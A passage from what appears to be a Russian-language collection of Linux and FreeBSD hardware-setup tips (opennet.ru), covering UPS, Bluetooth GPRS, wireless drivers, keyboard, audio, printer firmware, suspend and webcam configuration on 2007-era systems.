       DEVICE /dev/ttyUSB0
    
    А после, всё по man acpupsd.conf
    
    Если в системе вы не видите "Bus 005 Device 002: ID 067b:2303 Prolific
    Technology, Inc. PL2303 Serial Port",
    то в ядре нужно указать следующие опции 
    
    Device Drivers  ---> USB support --> USB Serial Converter support -> USB
    Prolific 2303 Single Port Serial Driver
    
     
    ----* Настройка bluetooth соединения в Asus EeePC   [комментарии]
     
    Не смотря на то, что в EeePС нет встроенного bluetooth адаптера, 
    к нему легко можно подключить внешний bluetooth брелок с USB интерфейсом.
    
    Все необходимые консольные приложения доступны после установки пакета:
    
       apt-get install bluez-utils
    
    К сожалению для eeepc отсутствуют GUI хелперы для связывания устройств, 
    из того что есть в репозиториях debian etch и xandros (например kdebluetooth), 
    из-за проблем с зависимостями пакетов, подходит только bluez-gnome.
    
    Если bluetooth устройство самостоятельно может инициировать связывание, 
    то все нормально, если нет - при попытке связать устройства используя только консольные 
    средства начинаются проблемы, в bluez 3.x был изменен механизм связывания устройств, 
    если ранее достаточно было создать простой скрипт для вывода PIN и прописать в options 
    секцию  hcid.conf -  "pin_helper /etc/bluetooth/feed-pin.sh;", то теперь для получения PIN 
    используется DBUS. В комплекте с bluez поставляется программа passkey-agent, 
    предназначенная для связывания устройств, в пакет bluez-utils в Debian GNU/Linux эта программа 
    по каким-то соображениям не была включена. Исходные тексты программы можно найти в 
    /usr/share/doc/bluez-utils/examples, но для сборки потребуется установка
    окружения для сборки программ,
    что в условиях небольшого SSD диска не вполне оправдано. Запускается агент примерно так: 
    
       passkey-agent --default 1234
    
    где, 1234 пароль для связывания.
    
    Выход нашелся в апплете bluetooth-applet, который входит в состав пакета bluez-gnome. 
    Запустив который при попытке связывания появляется  диалоговое окно для ввода пароля связывания.
    
    
    Для настройки GPRS через сотовый телефон с Bluetooth интерфейсом можно использовать пакет 3egprs 
    (устанавливает иконку на десктоп и скрипт /usr/sbin/gprsconf) с сайта http://www.3eportal.com/
    
    Другой вариант - инициирование ppp сессии из консоли. Ниже пример настройки:
    
    Подключаем bluetooth адаптер в USB порт. Через dmesg смотрим, нашелся ли дня него драйвер.
    
    Запускаем инициализацию bluez:
       /etc/init.d/bluetooth start
    
    Смотрим поднялся ли интерфейс:
       hciconfig 
    
    Если статус down, поднимаем его:
       hcicofig hci0 up
    
    Сканируем доступные устройства:
       hcitool scan
    
    Запоминаем адрес устройства. Для примера проверяем его доступность:
       l2ping 00:0A:0B:0C:0D:0E
    
    Адрес можно посмотреть командой:
       hcitool dev
    
    а определить поддерживаем ли bluetooth устройство GPRS:
       sdptool search DUN
    
    Создаем rfcomm интерфейс:
       rfcomm bind 0 [полученный адрес] 1
    
    По идее rfcomm должен создаться автоматически, при надлежащей настройке /etc/bluetooth/rfcomm.conf,
    например: 
    
       rfcomm0 { 
            bind yes;
            device 00:0A:0B:0C:0D:0E;
            channel 1;
            comment "Mobile";
       }
    
    Далее создаем файл конфигурации для pppd, /etc/ppp/peers/mts:
    
       lcp-echo-failure 0
       lcp-echo-interval 0
       /dev/rfcomm0
       connect "/usr/sbin/chat -v -f /etc/ppp/peers/gprs"
       115200
       crtscts
       debug
       ipcp-accept-local
       noauth
       usepeerdns
       defaultroute
       noipdefault
       nodetach
    
    /etc/ppp/peers/gprs:
    
       ABORT  BUSY  ABORT  'NO CARRIER' ABORT VOICE ABORT 'NO DIALTONE' ABORT
       'NO DIAL TONE' ABORT 'NO ANSWER' ABORT DELAYED
       '' 'AT'
       'OK' 'AT+CGDCONT=1,"IP","internet.mts.ru"'
       'OK' 'ATDT*99***1#'
       TIMEOUT 30
       CONNECT
    
    Для beeline заменяем "internet.mts.ru" на "internet.beeline.ru", для мегафона
    пишем просто "internet".
    
    Подключаемся выполнив команду:
       pppd call mts
    
    Перевод wiki-страницы о настройке Bluetooth в Asus EeePC, выполненный
    Сгибневым Михаилом, 
    можно найти на странице: http://www.opennet.ru/base/modem/bluetooth_eeepc.txt.html
    
     
    ----* Отключение засыпания DVB карты в ядре Linux   Автор: va  [комментарии]
     
    идем в 
       cd /usr/src/linux-*/drivers/media/dvb/dvb-core
    
    открываем файл dvb_frontend.c
    находим строчку static int dvb_powerdown_on_sleep = 1;
    изменяем на static int dvb_powerdown_on_sleep = 0;
    компилируем и ставим ;)
    
    теперь не нужно модуль dvb-core загружать с параметром 
       dvb_shutdown_timeout=0
    
     
    ----* Настройка работы беспроводной карты на базе Broadcom BCM43xx в Ubuntu (доп. ссылка 1)   Автор: E@zyVG  [комментарии]
     
    После установки Ubuntu 8.04 по умолчанию не работают беспроводные карты на базе
    чипов Broadcom BCM43xx из-за отсутствия firmware.
    Начиная с Linux ядра 2.6.24 работу данных карт в Linux обеспечивает драйвер b43, 
    в более ранних версиях использовался драйвер bcm43xx.
    
    Для включения работы карты нужно установить пакет b43-fwcutter и получить firmware:
    
       sudo apt-get install b43-fwcutter
    
    и активировать на ноутбуке адаптер. 
    Также можно воспользоваться меню  Menu / System / Administration / Hardware Drivers.
    
    Драйвером b43 поддерживаются чипы:
    
        * bcm4303 (802.11b)
        * bcm4306
        * bcm4309 (только 2.4GHz)
        * bcm4311 rev 1 / bcm4312
        * bcm4311 rev 2 / bcm4312 (с 2.6.24 ядром работает через доп. патчи)
        * bcm4318
    
    В настоящее время нет поддержки: 
        * 802.11a для серий 4309 и 4312;
        * BCM 4328/4329
        * не реализованы возможности представленные в проекте стандарта 802.11n;
    
    Сайт разработчиков драйвера: http://wireless.kernel.org/en/users/Drivers/b43
    
     
    ----* Настройка клавиатуры для Xorg при работающем hal-0.5.10 (доп. ссылка 1)   Автор: Kroz  [комментарии]
     
    Решение представлено для Gentoo, но возможно проблема актуальна и для других дистрибутивов.
    При обновлении hal до версии 0.5.10 перестает нормально работать 
    клавиатура. По множественным отзывам в Сети, у всех перестает 
    работать преключатель раскладки, у меня еще были глюки с другими 
    клавишами (например кнопка "вверх" работала как PrtScr и др.)
    
    Для начала приведу часть xorg.conf который у меня работал испокон веков:
    
       Section "InputDevice"
           Identifier  "Chicony"
           Driver "kbd"
           Option "Protocol" "Standard"
           Option "XkbModel"    "pc105"
           Option "XkbRules"   "xorg"
           Option "XkbLayout"  "us,ru,ua"
           Option "XkbVariant" ",winkeys"
           Option "XkbOptions" "grp:lwin_toggle,grp_led:scroll"
           Option "AutoRepeat" "250 30"
       EndSection
    
    Причина того, что эта конфигурация отвалилась, состоит в том, что новая 
    версия hal просто игнорирует конфиг xorg.conf.
    
    Нашел два метода решения проблемы.
    
    Первый метод:
    http://ru.gentoo-wiki.com/HOWTO_hal_и_устройства_ввода
    
    Смысл в том, что создается файл политики hal, который содержит конфигурацию клавиатуры:
    
       /usr/share/hal/fdi/policy/20thirdparty/10russian-layout.fdi
    
    Учитывая, что в статье есть небольшие ошибки, приведу свой файл 
    конфигурации. Рекомендую сопоставлять с приведенным выше xorg.conf
    
       <?xml version="1.0" encoding="ISO-8859-1"?><!-- -*- SGML -*- -->
       <match key="info.capabilities" contains="input.keyboard">
            <merge key="input.x11_driver" type="string">kbd</merge>
            <merge key="input.xkb.model" type="string">pc105</merge>
            <merge key="input.xkb.rules" type="string">xorg</merge>
            <merge key="input.xkb.layout" type="string">us,ru</merge>
            <merge key="input.xkb.variant" type="string">,winkeys</merge>
            <merge key="input.xkb.options"   type="strlist">grp:lwin_toggle,grp_led:scroll</merge>
       </match>
    
    Думаю смысл понятен.
    
    После создания файла следует пергрузить hald и перегрузить иксы.
    
    Недостаток этого метода состоит в том, что я так и не смог настроить переключение трех языков.
    
    
    Второй метод:
    
    
    Второй метод состоит в том, что мы отключаем автоопределение 
    устройств. Для этого в xorg.conf в секцию ServerLayout дописываем 
    Option "AutoAddDevices" "False". После перегрузки иксов настройки 
    клавиатуры берутся из xorg.conf.
    
    Подозреваю, что у второго метода есть свои недостатки, но я их пока не обнаружил.
    
     
    ----* Обеспечение работы беспроводной карты в Ubuntu 7.10 через ndiswrappe (доп. ссылка 1)   Автор: silverghost  [комментарии]
     
    1. Устанавливаем ndiswrapper:
    
        sudo apt-get install ndiswrapper-common ndiswrapper-utils-1.9
    
    2. Распаковываем куда нибудь Windows драйверы и пишем из под пользователя root такие команды:
    
        ndiswrapper -i bcmwl5.inf
        modprobe ndiswrapper
        echo "blacklist bcm43xx" >> /etc/modprobe.d/blacklist
        echo "ndiswrapper" >> /etc/modules
    
    3. Перегружаемся и проверяем. Все должно работать.
    
     
    ----* Установка неподдерживаемой сетевой карты ASUS NX1001 во FreeBSD 6.2   Автор: fenixfenix  [комментарии]
     
    При установке сетевой карточки Asus NX1001, я не смог обнаружить её при наборе
    команды ifconfig. А также в sysinstall->Configure->Networking.
    Первое, что мне пришло в голову конфликт с ACPI, после отключения в БИОСе ACPI -
    результатов никаких не дало. Поэтому пришлось заняться поисками решения
    этой проблемы копаясь в интернете, особо на сайте freebsd.org. Найдя похожую
    проблему работы с сетевой картой Asus NX1001 в FreeBSD 6.2, вот что в итоге 
    необходимо было сделать.
    
    Набрав команду pciconf -lv и найдя среди результатов вывода 
    
    "Sundance ST201 10/100BaseTX". 
    
    Мне пришлось дописать в файлах:
    /usr/src/sys/pci/if_ste.c
    /usr/src/sys/pci/if_stereg.h
    нижеследующее (строка AS_VENDORID...), в файле if_ste.c:
    
       static struct ste_type ste_devs[]={
          {ST_VENDORID, ST_DEVICEID_ST201,"Sundance ST201 10/100BaseTX"},
    
          {AS_VENDORID, AS_DEVICEID_NX1001,"ASUS NX1001 10/100BaseTX"},
    
         {DL_VENDORID, DL_DEVICEID_DL100050,"D-Link DL10050 10/100BaseTX"},
         {0,0,NULL}
       };
    
    
    в файле if_stereg.h:
    
       #define AS_VENDORID 0x13F0
       #define AS_DEVICEID_NX1001 0x0200
    
    После этого мы обязаны пересобрать наше старое ядро:
    
       cd /usr/src/sys/i386/conf/
       cp GENERIC GATEWAY
       ee GATEWAY
       config GATEWAY
       cd ../compile/GATEWAY
       make depend
       make
       make install
       shutdown -r now
    
    В итоге в нашем случае появляется сетевая карточка в устройствах как sto0.
    
     
    ----* Nokia в Ubuntu Linux. Подключение, настройка и работа. (доп. ссылка 1)   Автор: openkazan.info  [комментарии]
     
    Настройка линукса для работы с телефоном Nokia, подключеным к системе через USB кабель.
    
    В этой статье будем настраивать линукс для работы с вашим телефоном Nokia, 
    подключеным к системе через USB кабель. Система Ubuntu Feisty Linux 7.04, 
    хотя аналогичным образом можно настроить в любом другом дистрибутиве.
    
    1) Ставим необходимый софт: 
    
       apt-get install obexftp  openobex-apps
    
    2)  Далее в консоли:  
    
       lsusb
    
    на  выходе получаем:
    
       Bus 003 Device 003: ID 0421:043a Nokia Mobile Phones
    
    из этого узнаем VendorID и ProductID:
    
       VendorID = 0421
       ProductID = 043a
    
    3) Прописываем эти данные в /etc/udev/rules.d/040-permissions.rules:
    
       sudo vim /etc/udev/rules.d/040-permissions.rules
    
    в конец файла вписываем:
    
       BUS=="usb", SYSFS{idVendor}=="VendorID", SYSFS{idProduct}=="ProductID",  GROUP="plugdev", USER="yourUserNname"
    
    VendorID и ProductID заменяем нашими данными полученными выводом команды lsusb
    USER="имя пользователя под которым вы работаете в системе"
    
    4) Создаём кнопку запуска на рабочем столе. В её свойствах прописываем:
    
       java -jar /home/YOURUSERNAME/obexftp-frontend-0.6.1-bin/OBEXFTPFrontend.jar
    
    YOURUSERNAME меняем на вашу домашнюю папку
    
    5) Запускаем /usr/bin/obexftp
    В вкладке Transport выбираем USB, Value 1
    Далее OK.
    
    Всё, настройка закончена. Запускаем программу через созданную нами на рабочем
    столе кнопку запуска.
    В появившемся окошке видим drive c: - это наша memory card. Процесс закачки и
    выгрузки файлов понятен интуитивно.
    Удачной работы!:)
    
     
    ----* Решение проблемы отсутствия звука в ноутбуках с чипсетом Intel 82801G (доп. ссылка 1)   Автор: openkazan.info  [комментарии]
     
    Как ни странно, но в ноутбуках с аудио чипсетом 82801G от Intel (фирмы  с
    которой обычно нет проблемм)
    под линуксом не работает звук. Причём проблемма существует на любых дистрибутивах 
    (проверено при прочтении форумов с аналогичной проблеммой) и на ноутах самых разных производителей.
         
    ОС на которых мы пытались завести звук: Ubuntu 7.04 Feisty, Ubuntu 7.10 Gutsy, Fedore Core 7.
    
    Ноутбуки на которых люди столкнулись с проблеммой отсутствия звука на 82801G: Acer aspire 5310,
    Acer Aspire 3682, Acer TravelMate 2490, Toshiba L40-13G, Sony Vaio SZ110, 
    Compaq nx7400, IBM Thinkpad Z61m и многие другие...
    
    Во всех системах признаки одни и те же: если звук появляется, то тихий и из
    левой колонки слышен пронзительный "свист".
    Если переместить ползунок регулировки громкости - звук пропадает совсем.
    
    
    Данное решение проблеммы описано на модели Toshiba L40-13G
    
    И так, 
    
       $lspci |grep Audio
    
    выдаёт нам следующее:
    
       00:1b.0 Audio device: Intel Corporation 82801G (ICH7 Family) High   Definition Audio Controller (rev 02)
    
    Решение давольно простое:
    В Ubuntu:
    
       $sudo vim /etc/modprobe.d/alsa-base
    
    добавить в конце файла строку 
    
       options snd-hda-intel model=3stack
    
    в FedoraCore $sudo vim /etc/modprobe.conf
    
    там где options snd-hda-intel ... в конце строки добавить model=3stack
    
    в других дистрибутивах делать аналогично 
    
    далее $sudo update-modules или перезагрузка и должно всё работать:)
    
     
    ----* Выбор и настройка VoIP usb-телефона под linux. (доп. ссылка 1)   Автор: Сергей Вольхин  [комментарии]
     
    Выбор.
    
    Меня интересовала не просто работа микрофона и динамика, но и как минимум клавиатуры.
    
    Выбор пал на Skypemate p1K (в девичестве Yealink), как не на очень дорогой апппарат,
    при этом имеющий как полноценную клавиатуру ("как у мобильника"), так и простенький ЖК-дисплей.
    Ко всему прочему поддержка именно этого девайса в linux наиболее развита.
    
    Настройка.
    
    Поддержка собственно звука не требует практически никакой настройки.
    Девайс определяется как новая звуковая карта:
    
        -bash-2.05b# cat /proc/asound/cards
        ....
        USB-Audio - VOIP USB Phone
        Yealink Network Technology Ltd. VOIP USB Phone at usb-0000:00:03.0-3
    
    В SIP-клиенте достаточно выбрать например "/dev/dsp2" в качеcтве динамика/микрофона.
    
    Что касается клавиатуры, то с этим ситуация несколько сложней.
    
    Есть несколько проектов разной степени работоспособности:
    
    1. SkypeMate (http://skypemate.ru/support/docs/) - официальный драйвер. 
    Бинарный, только для FedoraCore 3 (требует старый dbus-0.23).
    Плюс ко всему только для Skype. Отдельные джидаи запускали его на современных дистрибутивах
    с подменой либы dbus, с периодическими сегфолтами, я с этим заморачиваться не стал.
    
    2. USBB2K-API (http://savannah.nongnu.org/projects/usbb2k-api/) - неофициальный
    драйвер. По отзывам пользователей - работает,
    однако у меня он не завелся. Девайс определялся, команды на телефон шли,
    однако обратной связи не наблюдалось. При этом на форумах отписывали пользователи с аналогичной
    проблемой, разработчики пытались им даже помочь, но дело там так и не сдвинулось с мертвой точки.
    
    3. yealink-module (http://savannah.nongnu.org/forum/forum.php?forum_id=4319) -
    как видно из названия модуль для ядра.
    Последняя версия из CVS у меня собралась лишь после жесткой правки исходников и 
    после этого кончено нормально не работала, однако релиз за номером 0861 собрался сразу и 
    без проблем был установлен. Замечу, что поддержка клавиатуры в нем реализована
    просто и универсально:
    клавиши телефона дублируют клавиши клавиатуры (цифровые, backspace, enter и т.д.)
    
    Оригинал статьи (со ссылками) здесь: http://damnsmallblog.blogspot.com/2007/07/usb-linux.html 
    
     
    ----* Установка принтера HP1020 в Debian Еtch   Автор: Андрей Никитин  [комментарии]
     
    Принтеры HP LaserJet 1000,1005,1018,1020 после включения должны загрузить
    бинарный firmware драйвер.
    
    Если прошивка по каким-то причинам не загружена 
    (загрузка обычно устанавливается в автомате через hotplug),
    то вывод usb_printerid будет примерно таким
    
       nik@linuxdvr:~$ usb_printerid /dev/usb/lp0
       GET_DEVICE_ID string:
       MFG:Hewlett-Packard;MDL:HP LaserJet 1020;CMD:ACL;CLS:PRINTER;DES:HP  LaserJet 1020;
    
    без упоминания версии прошивки в конце строки (FWVER:20041129;)
    
    Устанавливаем штатный deb-пакет foo2zjs
    он ставит все что нужно, за исключением самой прошивки
    и в логе tail -n 20 /var/log/messages вы увидите что-то подобное
    
       Mar 20 12:35:34 linuxdvr kernel: usbcore: registered new driver usblp
       Mar 20 12:35:34 linuxdvr kernel: drivers/usb/class/usblp.c: v0.13: USB Printer Device Class driver
       Mar 20 12:35:35 linuxdvr /usr/bin/hplj1020: Missing HP LaserJet 1020 firmware file /usr/share/foo2zjs/firmware/sihp1020.dl
       Mar 20 12:35:35 linuxdvr /usr/bin/hplj1020: ...read foo2zjs installation instructions and run ./getweb 1020
    
    Выполняю:
    
       nik@linuxdvr:~$ getweb 1020
    
    в итоге c инета сайта foo2zjs качается прошивка  и сохраняется как sihp1020.img
    
    конвертируем этот бинарник в нужный формат
    
       nik@linuxdvr:~$ arm2hpdl sihp1020.img > sihp1020.dl
    
    далее копируем куда нужно
    
       nik@linuxdvr:~$ sudo mv sihp1020.dl /usr/share/foo2zjs/firmware/
    
    и корректируем владельца группу
    
       nik@linuxdvr:~$ sudo chown root:root /usr/share/foo2zjs/firmware/sihp1020.dl
    
    Включаем и выключаем принтер и в логе tail -n 20 /var/log/messages видим
    
       Mar 20 12:57:18 linuxdvr /usr/bin/hplj1020: loading HP LaserJet 1020 
         firmware /usr/share/foo2zjs/firmware/sihp1020.dl to /dev/usb/lp0 ...
       Mar 20 12:57:19 linuxdvr /usr/bin/hplj1020: ... download successful.
    
    Проверяем:
    
       nik@linuxdvr:~$ usb_printerid /dev/usb/lp0
    
       GET_DEVICE_ID string:
       MFG:Hewlett-Packard;MDL:HP LaserJet 1020;CMD:ACL;CLS:PRINTER;DES:HP  LaserJet 1020;FWVER:20041129;
    
    FWVER:20041129; - это версия успешно загруженной прошивки
    
    Все, теперь идем в KDE, GNOME или ... и запускаем ОТ ROOT-а гуёвые мастера для добавления принтера.
    
    На всякий случай, привожу установленные в Debian Etch пакеты для печати на HP1020 через CUPS.
    
    nik@linuxdvr:~$ aptitude search "foo|cups|foo2" | grep "^i"
    i   cupsys                          - Common UNIX Printing System(tm) - server
    i   cupsys-bsd                      - Common UNIX Printing System(tm) - BSD comm
    i   cupsys-client                   - Common UNIX Printing System(tm) - client p
    i A cupsys-common                   - Common UNIX Printing System(tm) - common f
    i   cupsys-driver-gutenprint        - printer drivers for CUPS
    id  foo2zjs                         - Support for printing to ZjStream-based pri
    i A foomatic-db                     - linuxprinting.org printer support - databa
    i   foomatic-db-engine              - linuxprinting.org printer support - progra
    i   foomatic-db-gutenprint          - linuxprinting.org printer support - databa
    i   foomatic-db-hpijs               - linuxprinting.org printer support - databa
    i A foomatic-filters                - linuxprinting.org printer support - filter
    i   foomatic-filters-ppds           - linuxprinting.org printer support - prebui
    i   foomatic-gui                    - GNOME interface for configuring the Foomat
    i   gnome-cups-manager              - CUPS printer admin tool for GNOME
    i A libcupsimage2                   - Common UNIX Printing System(tm) - image li
    i A libcupsys2                      - Common UNIX Printing System(tm) - libs
    i A libgnomecups1.0-1               - GNOME library for CUPS interaction
    i A libgnomecupsui1.0-1c2a          - UI extensions to libgnomecups
    i A python-foomatic                 - Python interface to the Foomatic printer d
    
    
    (С) Андрей Никитин, 2007
    Перепечатка и цитирование допускаются только с разрешения автора.
    
     
    ----* Установка CentOS и FC 6 на материнские платы Intel P965 (ICH8R) с IDE-CDROM   Автор: Державец Борис  [комментарии]
     
    Установка CentOS 4.4 (RHEL AS  4.4) и FC 6 на материнские платы с чипсетом
    Intel P965 & Intel ICH8R с IDE-CDROM'a.
    
    
    1.Установить в BIOS режим AHCI для  Intel ICH8R и Jmicron JMB363
    
    2.На подсказке 
         boot:linux all-generic-ide pci=nommconf
    
    3. Cпецифицировать во время графической установки
         Kernel boot options : 
         all-generic-ide pci=nommconf
    
    При установке GRUB в /boot partition выполнить:
         boot:linux all-generic-ide pci=nommconf rescue
          ...................
    
         # chroot /mnt/sysimage
         # df -h
         /dev/sdaX    .......       /boot
         .............................
    
         #  dd if=/dev/sdaX of=linux.bin bs=512 count=1
         # mcopy linux.bin a:
             
      Такой стиль установки позволяет системам   успешно определять 
    IDE-CDROM не только при установке , но и в рабочем режиме.
    
     
    ----* Новый способ использования NDIS во FreeBSD 5.x и 6.x  (доп. ссылка 1)   Автор: Kond  [комментарии]
     
    Все статьи на opennet описывают создание модуля NDIS для FreeBSD старым методом:
       ndiscvt -i *.inf -s *.sys -o ndis_driver_data.h
    
    Данный способ уже давно устарел и теперь нужно использовать программу ndisgen.
    
    Например. Имеем файлы из комплекта Windows драйверов:
       Fw1130.bin -  Network interface firmware.
       FwRad16.bin -  Radio firmware.
       TNET1130.INF -  Driver information file.
       tnet1130.sys - Driver binary. 
    
    Старый способ:
    
       cd /sys/modules/ndis
       make depend
       make
       make install
       cd ../if_ndis
       ndiscvt -i TNET1130.INF -s tnet1130.sys  -f Fw1130.bin -o ndis_driver_data.h
       make depend
       make
       make install
       ndiscvt -f FwRad16.bin
       cp FwRad16.bin.ko /boot/kernel
       kldload FwRad16.bin
       kldload if_ndis
    
    Для автоматизации загрузки помещаем в /boot/loader.conf
       FwRad16.bin_load="YES"
       if_ndis_load="YES"
    
    Новый способ (не требует установки исходных текстов ядра):
       ndisgen
       ... отвечаем на интерактивные вопросы, на выходе получаем tnet1130_sys.ko
       cp tnet1130_sys.ko /boot/kernel/
       kldload ndis
       kldload if_ndis
       kldload tnet1130_sys
    
    Для автоматизации загрузки помещаем в /boot/loader.conf
       ndis_load="YES"
       if_ndis_load="YES"
       tnet1130_sys_load="YES"
    
     
    ----* Как в Linux решить проблему конфликта тачпада и мыши на ноутбуке (доп. ссылка 1)   Автор: rmcgowan  [комментарии]
     
    Некоторые проблемы совместной работы мыши и Touchpad можно решить,
    добавив параметр загрузки ядра:
       psmouse.proto=imps
    
    Ниже пример настройки  Touchpad и внешней мыши для X.Org:
    
    # Тачпад
    Section "InputDevice"
      Driver        "synaptics"
      Identifier    "Mouse2"
      Option        "Device"        "/dev/psaux"
      Option        "Edges"         "1900 5400 1800 3900"
      Option        "Finger"        "25 30"
      Option        "MaxTapTime" "20"
      Option        "MaxTapMove" "220"
      Option        "VertScrollDelta" "100"
      Option        "MinSpeed"      "0.02"
      Option        "MaxSpeed"      "0.18"
      Option        "AccelFactor" "0.0010"
    EndSection
    
    # USB мышь
    Section "InputDevice"
        Identifier          "Mouse1"
        Driver              "mouse"
        Option              "Protocol"    "IMPS/2"
        Option              "Device"      "/dev/input/mice"
        Option              "ZAxisMapping" "4 5"
        Option              "Buttons" "5"
    EndSection
    
    Section "ServerLayout"
       ....
        InputDevice "Mouse2" "CorePointer"
        InputDevice "Mouse1" "SendCoreEvents"
    EndSection
    
     
    ----* Засыпание ноутбука с сохранением данных в памяти (Suspend to RAM) (доп. ссылка 1) (доп. ссылка 2)   [обсудить]
     
    cat /proc/acpi/sleep
    S0 S3 S4 S4bios S5
    
    Первым делом попробовать:
    echo 4b > /proc/acpi/sleep
    
    Если не получилось, ядро нужно грузить с параметрами "noapic acpi_sleep=s3_bios"
    
    Далее если в ядро входят патчи swsusp 
    (/dev/hda5 - swap раздел, который должен быть раза в два больше ОЗУ):
      append=" resume=/dev/hda5" 
      или для swsusp2: append=" resume2=swap:/dev/hda5"
    
    Если swsusp перестал вообще грузить систему, 
    используйте параметр ядра "noresume" для игнорирования resume образа.
    
    # Сохраняем статус видеокарты (http://www.srcf.ucam.org/~mjg59/vbetool/)
    vbetool vbestate save > ~/VBESTATE
    # Засыпаем.
    echo 3 > /proc/acpi/sleep
    # Восстанавливаем статус видеокарты после просыпания.
    vbetool post
    vbetool vbestate restore < ~/VBESTATE
    
    Другой вариант засыпания:
       echo "mem" >> /sys/power/state
       echo "disk" >> /sys/power/state
    
    После просыпания лучше перезапустить hotplug:
       service hotplug restart
    
    Еще лучше до засыпания остановить, а после просыпания загрузить сервисы:
       usb acpid sound irda pcmcia
    
    Можно скачать готовый скрипт hibernate с http://www.suspend2.net/downloads/all/
    
    Для засыпания по закрытию крышки, создаем /etc/acpi/events/lid
       event=button[ /]lid.*
       action=echo "3" > /proc/acpi/sleep
    
    При нажатии на кнопку питания, создаем /etc/acpi/events/powerbtn
       event=button[ /]power.*
       action=echo "3" > /proc/acpi/sleep
    
    Советы по экономии батареи для ноутбуков на базе Pentium Mobile Centrino:
      http://wiki.teuwen.org/DebianLaptop
    
     
    ----* Подключение Bluetooth гарнитуры в Fedora Core Linux 4 (доп. ссылка 1)   Автор: John G. Moylan  [комментарии]
     
    Устанавливаем поддержку bluetooth (проект Bluez):
        yum install bluez-libs bluez-pin bluez-utils bluez-hcidump bluez-utils-cup
    
    Устанавливаем утилиты звуковой подсистемы ALSA:
        yum install alsa-tools alsa-lib alsa-utils alsa-lib-devel
    
    Устанавливаем automake (понадобится для сборки BTSCO)
       yum install automake
    
    Проверяем на сайте http://bluetooth-alsa.sourceforge.net/ поддерживается ли
    наша гарнитура (Jabra BT200 поддерживается).
    
    Запускам hcitool и смотрим активна ли bluetooth подсистема.
    
    Подключаем гарнитуру и запускаем "hcitool scan", смотрим MAC адрес в результатах вывода.
    Далее, подключаем через:
       hcitool cc MAC
    
    Все должно работать, но на случай проблем, пример некоторый файлов из /etc/bluetooth:
    
    hcid.conf
            options {
               autoinit yes;
               security user;
               pairing multi;
               # PIN helper
               pin_helper /etc/bluetooth/feed-pin.sh;
               # D-Bus PIN helper
               #dbus_pin_helper;
            }
            device {
               name "%h-%d";
               # Local device class
               class 0x120104;
               # Inquiry and Page scan
               iscan enable; pscan enable;
               lm accept;
               lp rswitch,hold,sniff,park;
               # Authentication and Encryption (Security Mode 3)
               auth enable;
               encrypt enable;
            }
    
    rfcomm.conf
         rfcomm0 {
             # Automatically bind the device at startup
             bind no;
    
             # Bluetooth address of the device
             device 11:11:11:11:11:11;
    
             # RFCOMM channel for the connection
             channel 1;
    
             # Description of the connection
             comment "Bluetooth Device
         }
    
    /etc/bluetooth/feed-pin.sh
        #!/bin/sh
        echo "PIN:0000"
    
    
    Установка BTSCO из исходных текстов.
    
    Получаем исходные тексты из CVS:
       cvs -d:pserver:anonymous@cvs.sf.net:/cvsroot/bluetooth-alsa log
       cvs -d:pserver:anonymous@cvs.sf.net:/cvsroot/bluetooth-alsa co btsco
    
    Собираем утилиты:
       ./bootstrap
       ./configure
       make
       make install
       make maintainer-clean
    
    Собираем модуль ядра:
       cd kernel
       make
       make install
       depmod -e
       make clean
    
    Подгружаем модуль ядра:
       modprobe snd-bt-sco
    
    Подключаемся к гарнитуре:
       btsco -v MAC
    
    Небольшой скрипт для автоматизации запуска skype:
        #!/bin/sh
        modprobe modprobe snd-bt-sco
        btsco MACofHeadset
        skype
    
     
    ----* Монтирование в Linux флеш-карт, отформатированных цифровой фотокамерой   Автор: Гусев Андрей  [комментарии]
     
    После удачно завершившейся разборки с "multiple LUN support" для доступа к девайсам карт-ридеров 
    (MAUSB-300 производства OLYMPUS и безымянный "11 in 1" Тайваньского производства) оказалось, 
    что карты xd-Picture (OLYMPUS) и SD (Transcedent), отформатированные в соответствующих аппаратах 
    (фотокамера CAMEDIA C55ZOOM, и наладонник PalmOne Tungsten E2) монтироваться всё-таки не хотят.
     По выяснении обстоятельств оказалось что монтировать их нужно с указанием параметра offset:
    
        xd 16Mb - 20992 (0x5200)
        xd 128Mb - 24064 (0x5E00)
        xd 256Mb - 25088 (0x6200)
        sd 128Mb - 49664 (0xC200)
        sd 256Mb - 51712 (0xCA00)
    
    т.е., например, вот так:
    
        > mount -t vfat -o loop,offset=20992 /dev/sda /mnt/ttt
    
    После модификации содержимого карт (добавления/удаления файлов), 
    смонтированных таким образом соответствующие аппараты не высказывают к этому самому содержимому 
    (и к файловой системе карт) никаких претензий, т.е. читают его и понимают правильно.
    
     
    ----* Как настроить параметры ISA карты под FreeBSD и Linux   [комментарии]
     
    FreeBSD:
    
     /boot/kernel.conf (для карты на 0x300 порту, прерывание 10, IO адрес 0xd8000):
          en ed0
          po ed0 0x300
          ir ed0 10
          iom ed0 0xd8000
          f ed0 0
          q
    
    Linux:
    
       modprobe 3c501 io=0x300 irq=10
       
       или в /etc/modules.conf
          alias eth0 3c501
          options 3c501 io=0x300 irq=10
    
    Если карта PNP (пакет isapnptools), параметры смотрим через pnpdump и помещаем в /etc/isapnp.conf.
    
     
    ----* Как протестировать целостность ОЗУ не останавливая машину на memtest (доп. ссылка 1)   Автор: poige  [комментарии]
     
    получим кучу несжимаемых данных
        dd if=/dev/urandom of=random.dat bs=1M count=БОЛЬШЕРАЗМЕРАОЗУ
        bzip2 -c < random.dat > random2.dat.bz2
    
    распакуем в /dev/null (можно и на диск конечно)
        bzip2 -dc < random2.dat.bz2 > /dev/null
    
    Сбой обычно выглядит так:
        bzcat: Data integrity error when decompressing.
    
     
    ----* Настройка WebCam на чипе OV511/OV511+ под FreeBSD (доп. ссылка 1)   Автор: denz  [комментарии]
     
    #!/bin/sh
    # Scriptec greb webcam
    cur_date=`date \+\%d.\%m.\%Y`
    cur_time=`date \+\%H:\%M`
    cam_dir=/home/virtual/denz/htdocs/cam
    /usr/local/bin/vid -d /dev/ugen0 --small | pnmtojpeg --quality=72 --optimize --smooth 10 \
       --progressive --comment="TiraNET Office (67700, Ukraine, Belgorod-Dnestrovsky, P/O Box 4) "\
       > /tmp/webcam_shot.jpg
    rm -f ${cam_dir}/camout.jpg
    /usr/local/bin/convert -normalize -fill white -font helvetica -antialias  \
       -draw "text 45,230 'WebCam in kladovka [ $cur_time @ $cur_date ]'" \
       /tmp/webcam_shot.jpg ${cam_dir}/camout.jpg
    rm -f /tmp/webcam_shot.jpg
    chown -R denz:www ${cam_dir}/*
    
     
    ----* Синхронизация Smartphone Motorola MPx200 под Linux (доп. ссылка 1)   [комментарии]
     
